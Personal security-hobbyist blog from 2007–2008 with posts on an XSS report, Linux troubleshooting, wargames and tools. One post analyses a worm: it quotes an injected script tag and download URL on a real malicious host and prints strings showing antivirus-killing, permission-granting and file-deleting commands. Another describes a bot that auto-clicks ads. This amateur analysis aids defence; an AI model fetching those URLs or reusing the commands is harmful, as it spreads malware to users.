Yeah, finally an XSS bug I found has been published on xssed.com! Actually, after stumbling upon this site in late 2007, I had been submitting quite a few bugs discovered while wandering the wilderness, but this was the first one published so far. I wonder what happened to the others - were they not important enough to be there, or just the admins were too busy to process all the submissions. But anyway, I'll keep submitting bugs I have found - for a better digital world :)
Believe it or not, since I gained "underground" knowledge about internet security, I have been seeing vulnerabilities everywhere. Like in 10 websites I visited, 5 were vulnerable to XSS or SQL injection, 2 had other bugs that surely made them insecure, and 3 had bugs that had been/would be discovered (and exploited) by someone other than me. And most of the time my emails to the webmaster went to /dev/null. Not to mention the fact that only a few webmasters were capable of fixing them the right way.
Now with xssed, hopefully my bug reporting will become more effective. And I wonder if there are any other sites like that where I can submit SQL injection vulnerabilities and other bugs too.
Monday, January 14, 2008
My first XSS published
Posted by
quangntenemy
at
2:50 PM
0
comments
Labels: security, sql injection, xss, xssed
Monday, December 24, 2007
Virus again? Damn it!
In the last few days there was an attack from a Chinese hacker to computer networks in Vietnam. When surfing the Internet, especially on Vietnamese websites, many people see advertisements of Chinese websites roaming around the pages. There's a rumour going around that this attack is related to the recent clash between China and Vietnam over some islands, but I'm in no position to discuss about it :P
Anyway, as a patriot, I decided to make everything clear once and for all. By checking the source code of the pages, I found the following piece of code "injected" on the pages:
<script src=http://121.15.220.104/1.js></script>I came to a conclusion that this was a man-in-the-middle attack, in which the hacker pwnzored a node somewhere between the victim computers and the host, and filtered the content on-the-fly. After doing some research on Google, I found that this was done with a virus that attacked a computer, then turned it into a gateway by faking the MAC address, and then filtered everything that went through it (this method is called ARP spoofing). Also I found a program that was probably the evil thing spreading the virus over the network: http://121.15.220.104/Setup.exe.
I decided to have a look at it. After some unpacking, I was able to load in under OllyDbg. You would be amazed to see the String table:
Address Disassembly Text stringI can tell this virus is really dangerous. It kills every anti-virus program you have in an instant. The existence of those %c shows that it is using a buffer overflow/format string exploit, which is very effective against a naive operating system like Windows. It also opens some ports on your computer: 135, 139, 445, 1026, and 5152.
004016B4 PUSH Setup.0040B058 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004016C5 PUSH Setup.0040B054 ASCII " ""
0040175E PUSH Setup.0040B04C ASCII "\*"
004017E4 PUSH Setup.0040B040 ASCII ".."
004019C6 MOV EDI,Setup.0040B100 ASCII "%c%c%c"
00401AC1 PUSH Setup.0040B040 ASCII ".."
00401B24 PUSH Setup.0040B0F8 ASCII "360"
00401B3A MOV EAX,Setup.0040B0F4 ASCII "AD"
00401BAB MOV EAX,Setup.0040B0F0 ASCII "GO"
00401C45 PUSH Setup.0040B0EC ASCII ".js"
00401CC6 PUSH Setup.0040B0E8 ASCII "exe"
00401D2A PUSH Setup.0040B0E4 ASCII "\~"
00401E4A PUSH Setup.0040B0E0 ASCII "rar"
00401E5E PUSH Setup.0040B0DC ASCII "zip"
00401E9E CMP DWORD PTR SS:[EBP-1EC],500000 ASCII "Actx "
00401EE1 PUSH Setup.0040B0D4 ASCII "\bak\"
00401F5F PUSH Setup.0040B0CC ASCII " X ""
00401F6A PUSH Setup.0040B0C8 ASCII "" ""
00401F95 PUSH Setup.0040B0B4 ASCII "" -r -inul -ibck -y"
0040203C PUSH Setup.0040B0D4 ASCII "\bak\"
004020BE PUSH Setup.0040B0D4 ASCII "\bak\"
00402108 PUSH Setup.0040B0AC ASCII " A ""
00402113 PUSH Setup.0040B0C8 ASCII "" ""
00402138 PUSH Setup.0040B084 ASCII "*.*" -r -inul -ibck -y -m0 -df -ep -ep1"
00402230 PUSH Setup.0040B080 ASCII "ddd"
00402285 PUSH Setup.0040B0D4 ASCII "\bak\"
0040255D PUSH Setup.0040B11C ASCII "^|"
004025B0 PUSH Setup.0040B10C ASCII "cmd.exe /c ""
0040279B PUSH Setup.0040B120 ASCII "%c:\"
00402974 PUSH Setup.0040B284 ASCII "ieframe"
00402988 PUSH Setup.0040B274 ASCII "cabinetwclass"
0040299C PUSH Setup.0040B25C ASCII "mozillauiwindowclass"
004029B0 PUSH Setup.0040B254 ASCII "metapad"
004029C5 PUSH Setup.0040B24C ASCII "dr.web"
004029DB PUSH Setup.0040B244 ASCII "avg "
00402A03 PUSH Setup.0040B230 ASCII "tapplication"
00402A27 PUSH Setup.0040B220 ASCII "AfxMDIFrame42s"
00402A3A PUSH Setup.0040B218 ASCII "360safe"
00402A50 PUSH Setup.0040B218 ASCII "360safe"
00402A66 PUSH Setup.0040B210 ASCII "360anti"
00402A7C PUSH Setup.0040B208 ASCII "afx:"
00402AAB MOV EDI,Setup.0040B200 ASCII "#32770"
00402AD2 PUSH Setup.0040B1E8 ASCII "thunderrt6main"
00402AF8 PUSH Setup.0040B1E0 ASCII "antivir"
00402B3A PUSH Setup.0040B1C8 ASCII "kvxp"
00402BC4 PUSH Setup.0040B198 ASCII "thunderrt6formdc"
00402BDE PUSH Setup.0040B188 ASCII "ThunderRT6Timer"
00402BF1 PUSH Setup.0040B180 ASCII "ewido"
00402C07 PUSH Setup.0040B178 ASCII "escan"
00402C1D PUSH Setup.0040B170 ASCII "mcagent"
00402C7E PUSH Setup.0040B158 ASCII "bitdefender"
00402C99 PUSH Setup.0040B148 ASCII "facelesswndproc"
00402D3A PUSH Setup.0040B130 ASCII "##vso##"
00402D4D PUSH Setup.0040B128 ASCII "avast"
00402E58 PUSH Setup.0040B0E8 ASCII "exe"
00402FAE PUSH Setup.0040B9C0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403005 PUSH Setup.0040B9A4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403046 PUSH Setup.0040B96C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403057 MOV EDI,Setup.0040B968 ASCII "XOR"
00403098 PUSH Setup.0040B200 ASCII "#32770"
00403122 PUSH Setup.0040B960 ASCII "xxpin"
004031C5 PUSH Setup.0040B8B0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004032A4 PUSH Setup.0040B7D4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004032FC PUSH Setup.0040B96C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403323 PUSH Setup.0040B7C8 ASCII "%c%c%c%c%c"
00403355 PUSH Setup.0040B7B4 ASCII "%c%c%c%c%c%c%c%c%c"
00403385 PUSH Setup.0040B7A0 ASCII "%c%c%c%c%c%c%c%c"
0040342C PUSH Setup.0040B744 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004034A2 PUSH Setup.0040B738 ASCII "%s\cmd.exe"
004034D7 PUSH Setup.0040B730 ASCII "%s\com"
004034F1 PUSH Setup.0040B728 ASCII "%s\%s"
0040352D PUSH Setup.0040B718 ASCII "pagefile.pif"
00403544 PUSH Setup.0040B708 ASCII "CabinetWClass"
00403897 PUSH Setup.0040B688 ASCII "%c%c%ct%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004038D3 PUSH Setup.0040B678 ASCII "Common Startup"
004038F9 PUSH Setup.0040B728 ASCII "%s\%s"
00403989 PUSH Setup.0040B61C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004039F2 PUSH Setup.0040B614 ASCII ".exe"
00403AA0 PUSH Setup.0040B5DC ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403B14 PUSH Setup.0040B614 ASCII ".exe"
00403B6E PUSH Setup.0040B5D0 ASCII "\rar.exe"
00403B73 PUSH Setup.0040B5C4 ASCII "\winrar.exe"
00403C0C PUSH Setup.0040B544 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403CA2 PUSH Setup.0040B4F0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403D19 PUSH Setup.0040B4E4 ASCII " /e /t /g "
00403D3A PUSH Setup.0040B4E0 ASCII ":F"
00403D52 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403D7F PUSH Setup.0040B4BC ASCII " /e /t /g Everyone:F"
00403D93 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403DCC PUSH Setup.0040B4E4 ASCII " /e /t /g "
00403DF1 PUSH Setup.0040B4E0 ASCII ":F"
00403E09 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403E72 PUSH Setup.0040B4BC ASCII " /e /t /g Everyone:F"
00403E8A PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403EDB PUSH Setup.0040B4E4 ASCII " /e /t /g "
00403F00 PUSH Setup.0040B4E0 ASCII ":F"
00403F18 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403F81 PUSH Setup.0040B4BC ASCII " /e /t /g Everyone:F"
00403F99 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00404053 PUSH Setup.0040B4B0 ASCII "\ntfsus.exe"
004040BC PUSH Setup.0040B4AC ASCII "pac"
00404190 PUSH Setup.0040B4A8 ASCII " ^"
00404212 PUSH Setup.0040B614 ASCII ".exe"
0040424F PUSH Setup.0040B49C ASCII ".exe.log"
0040426C PUSH Setup.0040B4A8 ASCII " ^"
004042EE PUSH Setup.0040B494 ASCII "%s.~"
004042FF PUSH Setup.0040B48C ASCII "%s.exe"
0040436D MOV EDI,Setup.0040B484 ASCII ".log"
0040444D PUSH Setup.0040B47C ASCII "\netc"
0040445E PUSH Setup.0040B474 ASCII "fg.000"
0040446B PUSH Setup.0040B468 ASCII "\netcfg.dll"
004044A8 PUSH Setup.0040B464 ASCII "#32"
004044B5 PUSH Setup.0040B460 ASCII "770"
00404569 PUSH Setup.0040B450 ASCII "CNJBlaipbofF"
004045BE PUSH Setup.0040B438 ASCII "%c%c%c%c%c%c%c%c%c%c%c"
004045F3 PUSH Setup.0040B120 ASCII "%c:\"
004046B0 PUSH Setup.0040B414 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004046D7 PUSH Setup.0040B728 ASCII "%s\%s"
00404744 PUSH Setup.0040B408 ASCII "%s\boot.ini"
00404822 PUSH Setup.0040B400 ASCII "\bak"
0040489A PUSH Setup.0040B3E0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004048B8 PUSH Setup.0040B728 ASCII "%s\%s"
004048F1 PUSH Setup.0040B7A0 ASCII "%c%c%c%c%c%c%c%c"
0040490C PUSH Setup.0040B728 ASCII "%s\%s"
00404949 PUSH Setup.0040B3C8 ASCII "%c%c%c%c%c%c%c%c%c%c"
00404973 PUSH Setup.0040B728 ASCII "%s\%s"
004049BA PUSH Setup.0040B400 ASCII "\bak"
004049DB PUSH Setup.0040B400 ASCII "\bak"
00404A15 PUSH Setup.0040B400 ASCII "\bak"
00404A60 PUSH Setup.0040B9C0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00404B7A PUSH Setup.0040B2AC ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%"...
00404EE6 PUSH Setup.0040BA38 ASCII "ping.exe -f -n 1 www.baidu.com"
00405004 PUSH Setup.0040BA5C ASCII "rb"
00405077 PUSH Setup.0040BA5C ASCII "rb"
00405117 PUSH Setup.0040BA58 ASCII "wb"
00405229 MOV DWORD PTR SS:[ESP],Setup.0040BA5C ASCII "rb"
00405648 MOV DWORD PTR SS:[ESP],Setup.0040BA5C ASCII "rb"
00405669 PUSH Setup.0040BA58 ASCII "wb"
0040578F PUSH Setup.0040BA60 ASCII "cmd.exe /c del /F /Q ""
00405800 PUSH Setup.0040BA58 ASCII "wb"
004059E7 PUSH Setup.0040B438 ASCII "%c%c%c%c%c%c%c%c%c%c%c"
00405A38 PUSH Setup.0040B7B4 ASCII "%c%c%c%c%c%c%c%c%c"
00405A52 MOV ESI,Setup.0040BB9C ASCII "
"
00405A87 PUSH Setup.0040B414 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405AD1 PUSH Setup.0040BB70 ASCII "%c%c%c%c%c%c%c%c%c%c%c%s%s%c%c%c%c"
00405B2E PUSH Setup.0040BB30 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405B79 PUSH Setup.0040BB04 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405BD6 PUSH Setup.0040BAC0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s%s%s%s%c%c%c%c"
00405C37 PUSH Setup.0040BA78 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405D5C PUSH Setup.0040BBA0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"
00405EDF PUSH Setup.0040B120 ASCII "%c:\"
00405F11 MOV EBP,Setup.0040B400 ASCII "\bak"
0040602B PUSH Setup.0040B438 ASCII "%c%c%c%c%c%c%c%c%c%c%c"
0040606C PUSH Setup.0040BBA0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"
00406099 PUSH Setup.0040B120 ASCII "%c:\"
00406241 PUSH Setup.0040BE90 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
0040628F PUSH Setup.0040B3E0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406391 PUSH Setup.0040BDE4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406476 PUSH Setup.0040BD30 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406553 PUSH Setup.0040BDE4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406634 PUSH Setup.0040BD30 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004066FD PUSH Setup.0040BC9C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004067BD PUSH Setup.0040BE90 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406814 PUSH Setup.0040BC74 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
0040690C PUSH Setup.0040BBD4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406950 MOV EDI,Setup.0040BBCC ASCII "Type"
0040696D MOV EBX,Setup.0040BBC4 ASCII "radio"
004069E2 PUSH Setup.0040BBBC ASCII "IEFrame"
00406A43 PUSH Setup.0040B9C0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406B62 PUSH Setup.0040BF0C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406CA3 PUSH Setup.0040BF3C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406CB4 PUSH Setup.0040B968 ASCII "XOR"
004073DB SUB ESP,68 (Initial CPU selection)
00407539 PUSH 10000 UNICODE "=::=::\"
As I'm running out of time for tonight, let's leave the detailed analysis of the virus for later, and get to the removal instruction. If you have a look at the running processes under Security Task Manager, you'll see that the virus is faking the name of lsass.exe and smss.exe, with similar ones in C:\Windows\system32\com\. Also it probably wants to hijack your browser with ljjijgf.dll in C:\Windows\system32\ too. Get rid of them and you're safe :)
Update: as discovered by my little brother, you need to get rid of 2 other fake files: rar.exe and alg.exe somewhere in the Windows directory too.
Update2: the virus has been identified as W32.Dashfer.Worm by BKIS. You can get BKAV to wipe the virus away from your computer.
And finally, some images for your curious eyes:

Posted by
quangntenemy
at
3:11 PM
0
comments
Saturday, December 15, 2007
Mandriva 2008.1
There hasn't been any post for quite a while, although I have been taming the penguin quite well :)
The nasty bug with rpm has finally been solved. It turned out to be some kernel problem. The unofficial solution was to reboot under the old 2.6.17 and rebuild the db. If that still doesn't work for you, you should continue reporting it at the Mandriva Bugzilla.
So I have been having a real stable system for a few months, and today I was really surprised to find out that the first alpha version of 2008.1 has been released. That was incredibly fast compared to the delay in 2008.0. It comes with KDE 4 RC2 that everyone has been longing for. Recently I've heard that KDE 4 not only had a better look & feel and cool new features, but it also provided better performance too :)
Time to update to the new version and see how it works :)
Friday, December 14, 2007
Linux cracking live demonstration
Just experienced a real cool live demonstration of Linux cracking given by rhican :) With his 1337 skills, he showed me how to solve smashthestack io level 5. And believe it or not, just the little screen command was enough to deliver all the rich user experience that you will need to abuse webcams, videos or remote desktop on Windows to achieve.
What more can I say? Well, I have been trying to tame the penguin for years, but no matter how much I know, I was still surprised to see how powerful Linux can be when controlled by a power user.
Obviously the demonstration was much better than the lame hacking videos that some noobs uploaded to YouTube just for some fake feeling of uberness.
Time to finish more challs and reach another level of the Unix hacker hierarchy!
Posted by
quangntenemy
at
12:35 PM
1 comments
Labels: hacking, linux, smashthestack
Saturday, December 1, 2007
Java applet tutorial
Hey guys,
Remember the Java applet tutorial that I promised months ago?
I have been working on it for the last few months, and finally when I noticed there were too many things to cover, I decided to start a blog for it. The blog name is the same as my famous Java applet series - "quangntenemy teaches Java". You can access it at http://qtjava.blogspot.com.
The tutorial is not complete yet, but for now it should help you get started with the easy challs. More interesting lessons, together with tips and tricks will come soon.
If you have any questions, comments and suggestions about Java challs, or anything Java-related, do not hesitate to leave a comment there.
What about things other than Java, you might ask? Just to let you know, I have been starting a new team blog: WeChall at http://wechall.blogspot.com. At the moment I have recruited theAnswer, Gizmore and Unhandled to the team. Hopefully the blog will provide everything you need for the challenger world: from reviews on the cool challenge sites, to online resources, tools, and tips and tricks from the top challengers.
Feel free to visit WeChall and share your knowledge!
Sunday, November 18, 2007
FreeRice continued
Hey guys, it's the FreeRice story again.
Another Ruby developer, Dave Troy, sent his computer on the quest of feeding more people, by creating a multi-threaded bot that sends 50 requests simultaneously.
I, on the other hand, was trying to make my bot behave ;) Another feature was added - adclicking. Now you can configure the bot to play nice by setting click to true in freerice.properties. At the moment the bot can only 'click' the sponsor ads. The Google ads were kinda complicated - blame Google for that - so I'll leave them untouched for now :PAnother cool feature is the FreeRice Assistant. Now users who don't like botting can still use this little utility
to lookup words to improve their results and donate more rice. Kinda cool huh? :)
If you like the new features, just come and get the bot from here.
Posted by
quangntenemy
at
3:21 PM
4
comments
Saturday, November 17, 2007
Wikipedia
Hey guys,
Today while browsing the articles at wikipedia, I did a quick search for our favourite game - wargames, hacker games, computer-based challenges, or whatever it is called, and noticed that there's still no article for it.
I remember discussing with other challengers about it a few years ago on our favourite IRC channel. While many agreed with the idea, no work has been done so far. Only until recently, the game has been added as an open link:
A game of computer security, popularized by Hackerslab.org and the DEF_CON hacker convention. See Wargames (Computer Security).
So guys, what are you waiting for? Let's start filling it with an article about our favourite game :)
Any idea? Join our discussion at TBS forum.
Posted by
quangntenemy
at
3:27 AM
0
comments
Wednesday, November 14, 2007
Steganabara project page
Hey guys,
Finally I defeated my laziness and created a project page for Steganabara. It is located here.
There you can find a brief view of the key features, watch and download the latest versions.
Time to finish those evil bara's challenges now. And if you have any idea for improving the tool, feel free to contact me :)
Posted by
quangntenemy
at
2:19 AM
0
comments
Labels: steganabara, stegano
Tuesday, November 13, 2007
FreeRice IRC Bot
I just added another bot to the project - an IRC bot.
Let this bot run on your IRC channel, play with it, and help donate rice to poor people.
Grab a copy of the bot from here.
Posted by
quangntenemy
at
3:14 AM
10
comments
Sunday, November 11, 2007
FreeRice
If you have been a regular visitor to irc.idlemonkeys.net, probably you have heard about FreeRice, a website that donates rice to poor people in the world.
The rule is simple: for each word you get right, 10 grains of rice is donated to help end world hunger.
During the conversation on #hackquest, some of the geeks showed the desire to save humanity by creating a learning bot (to be exact, a memorizing bot) that plays the game and helps donate the rice. SilentNutcracker and alt3rn4tiv3 started the first implementation of the game. It is built on top of php, curl and mysql.
As a super botter, I could not let them enjoy the fun alone. So I created a similar bot, written in Java. You can grab a copy from my website.
Unlike their version, my bot uses serialized data, without any need for a DBMS. So you only need JRE 5 to get the bot up and running :)
However, I've always been wondering, does botting really help donating rice? I guess that's only true to a certain extend. If too many people launch the bot, it'll be no different from a DDOS attack, and the FreeRice people surely won't like it. So you might want to adjust some settings in freerice.properties to make sure that the bot won't hurt the server too much :P
Posted by
quangntenemy
at
1:31 PM
0
comments
Tuesday, October 30, 2007
Geb! Finally!
Yeah, finally solved the Geb challenge at rankk and finished the sacred journey, after months working on it :)
It was well worth the effort. The challenge was really enjoyable, and surely the most interesting challenge at rankk. It's just wonderful no matter how much you try, there are still something new and interesting to learn somewhere in the wilderness.
And finally, the Geb secret has been unraveled! I would like to share it with you guys but probably it'd be better if you figure it out all by yourselves :P Don't worry, if you ever need help on your way, some of the tools I created might help you ;)
Posted by
quangntenemy
at
3:44 PM
0
comments
Labels: rankk
Monday, October 29, 2007
Steganabara new release - 1.1.0
Hey guys,
Finally Steganabara has been improved - 1.1.0 now :)
The zoom feature has been added, finally!
The BitMask filter now has an amplify option, which will make the result easier to view for human eyes.
The color table now displays the hex values instead of the meaningless integer ones.
The color explorer now also displays the coordinates and the hex values.
And all the features are now compatible with all image panels.
You can get the binaries together with source code here: http://www.freewebs.com/quangntenemy/steganabara/Steganabara-1.1.0.tar.gz.
As I am a bit lazy atm the ready to run jar file will be updated later.
Also stay tuned for the detailed documentations.
Posted by
quangntenemy
at
7:55 AM
0
comments
Labels: steganabara
Tuesday, October 23, 2007
Rankk interview
I was interviewed by Sphinx a few days ago, and now the interview is published at Rankk's blog. I feel honoured :) Check it out guys!
Maybe in the next few weeks you can find the interviews with valsa and Sapr0 there.
And of course if you want to know more about me, find me at irc.idlemonkeys.net on a nice saturday evening :)
Posted by
quangntenemy
at
1:54 AM
0
comments
Sunday, October 21, 2007
CryptoBox
Been updating the CryptoBox today. I just can't believe how dusty the code has been. No new feature has been added yet, but the code has undergone a big Java 5 update.
The official version will be released soon :)
Oh and if you're wondering about the applet tutorial, it's not ready yet. But I promise it'll be out before new year :P
Posted by
quangntenemy
at
4:52 PM
0
comments
Friday, October 12, 2007
Migrating to 2008.0
Mandriva 2008.0 official was out last week, so time for me to start migrating to it :)
Downloaded the 3-CD isos, burned them with k3b, and I was ready to go.
To my experience, the installer hasn't been improved any since beta 1. It was still incredibly slow. Froze for a few minutes trying to determine the package list. And the estimated time for upgrading was 4 hours! While the packages were installed, I needed to switch the CDs dozens of times - guess things would be easier if I had a DVD burner, but really not everyone has one.
Finally, after about 1 hour and a half, installation finished. I was taken to the configuration screen. Having installed Linux many times, it didn't take long for me to finish setting everything up and ready for the first boot of the new system.
On the first boot, I wasn't surprised to see the lilo bootloader in text mode instead of the nice graphical one. It has been removed since 2007.1, and there's no chance for it to come back in 2008.0, I guess :P
I was then taken to the login screen. Well, it was quite nice with a new fancy theme. I logged into KDE, my favourite desktop environment. And... things go black and I was taken back to the login screen. Wtf???
Good thing I have fluxbox installed as an alternative desktop. Logged in without any problem, I started wandering the wilderness to find the solution to my problems. Found the following lines in my kdm.log:Backtrace:
While roaming around finding the solution, I noticed that X crashed even when I start other gtk-based applications like rpmdrake, harddrake, GIMP, ekiga. Totally lost, I posted my problem at http://forum.mandriva.com, hoping that anyone there could provide any idea that could help me solve the problem.
0: /etc/X11/X(xf86SigHandler+0x85) [0x80c46e5]
1: [0xffffe420]
2: /usr/lib/xorg/modules//libexa.so(ExaOffscreenMarkUsed+0x69) [0xb7aa70b9]
3: /usr/lib/xorg/modules//libexa.so(exaDoMigration+0x597) [0xb7aa6ff7]
4: /usr/lib/xorg/modules//libexa.so [0xb7aa46d6]
5: /etc/X11/X(miFillGeneralPoly+0x4f5) [0x812ad85]
6: /etc/X11/X(miFillPolygon+0x62) [0x812a322]
7: /etc/X11/X [0x8174f82]
8: /etc/X11/X(ProcFillPoly+0x10a) [0x808666a]
9: /etc/X11/X [0x81532bd]
10: /etc/X11/X(Dispatch+0x1af) [0x8089d6f]
11: /etc/X11/X(main+0x465) [0x8071025]
12: /lib/i686/libc.so.6(__libc_start_main+0xe0) [0xb7c9bf90]
13: /etc/X11/X(FontFileCompleteXLFD+0x1e5) [0x80703a1]
Fatal server error:
Caught signal 11. Server aborting
Life without everyday applications was a real pain. While trying to fix the problem, I ran into another nasty bug with rpm:error: Runnning db->verify ...
This nasty bug is being tracked down by pixel at http://qa.mandriva.com/show_bug.cgi?id=32547. If you stumble upon it, be sure to report the bug there and help us identify the problem. In the meantime, you can use the following commands to fix the rpm database temporarily:
rpmdb: PANIC: fatal region error detected; run recovery
error: db4 error(-30975) from dbenv->open: DB_RUNRECOVERY: Fatal error, run database recoveryrm -f /var/lib/rpm/__db*
Have been messing with my penguin box for so long, I didn't have any trouble getting into sleep that night, and luckily without any nightmares :P
rpm --rebuilddb
Waking up the next morning, I decided to jump into the official mandriva irc channel at irc://irc.freenode.net/#mandriva and had a nice chat with the guys there. Finally, after gathering all the relevant ideas, I decided to replace the xorg.conf file with the old one I backed up months ago. Fortunately, this completely solved the problem!
So it turned out that x have been misconfigured somehow. I wonder if it was me who picked the wrong video card/monitor/keyboard/mouse..., or the hardware detection wasn't good enough - never had this problem before. Anyway, I had enough problems with x that I wouldn't want to compare the 2 config files to find out which line was causing the all the troubles.
Time to give the damn penguin a real torture now :P
Friday, September 28, 2007
Website update :)
Hey guys, have a look at my homepage! It has been updated once again :)
You might want to claim that it's not as colorful as the old version, but believe me it's better :P I have put a lot of thoughts into that. The site looks very elegant now and has better support for accessibility. It's also optimized for every browser and small screen devices. And it's gradually adopting CSS3, which will be the open standard soon.
In the next few days (or weeks, or even months :P), you'll see more updates. Elimination of broken links, new updates for the CryptoBox, Steganabara, the bbq project, and hopefully a cool applet tutorial :)
Stay tuned!
Posted by
quangntenemy
at
2:29 PM
0
comments
Labels: applet, bbq, cryptobox, css, homepage, steganabara, tutorial, update
Waiting for 2008
Hey guys,
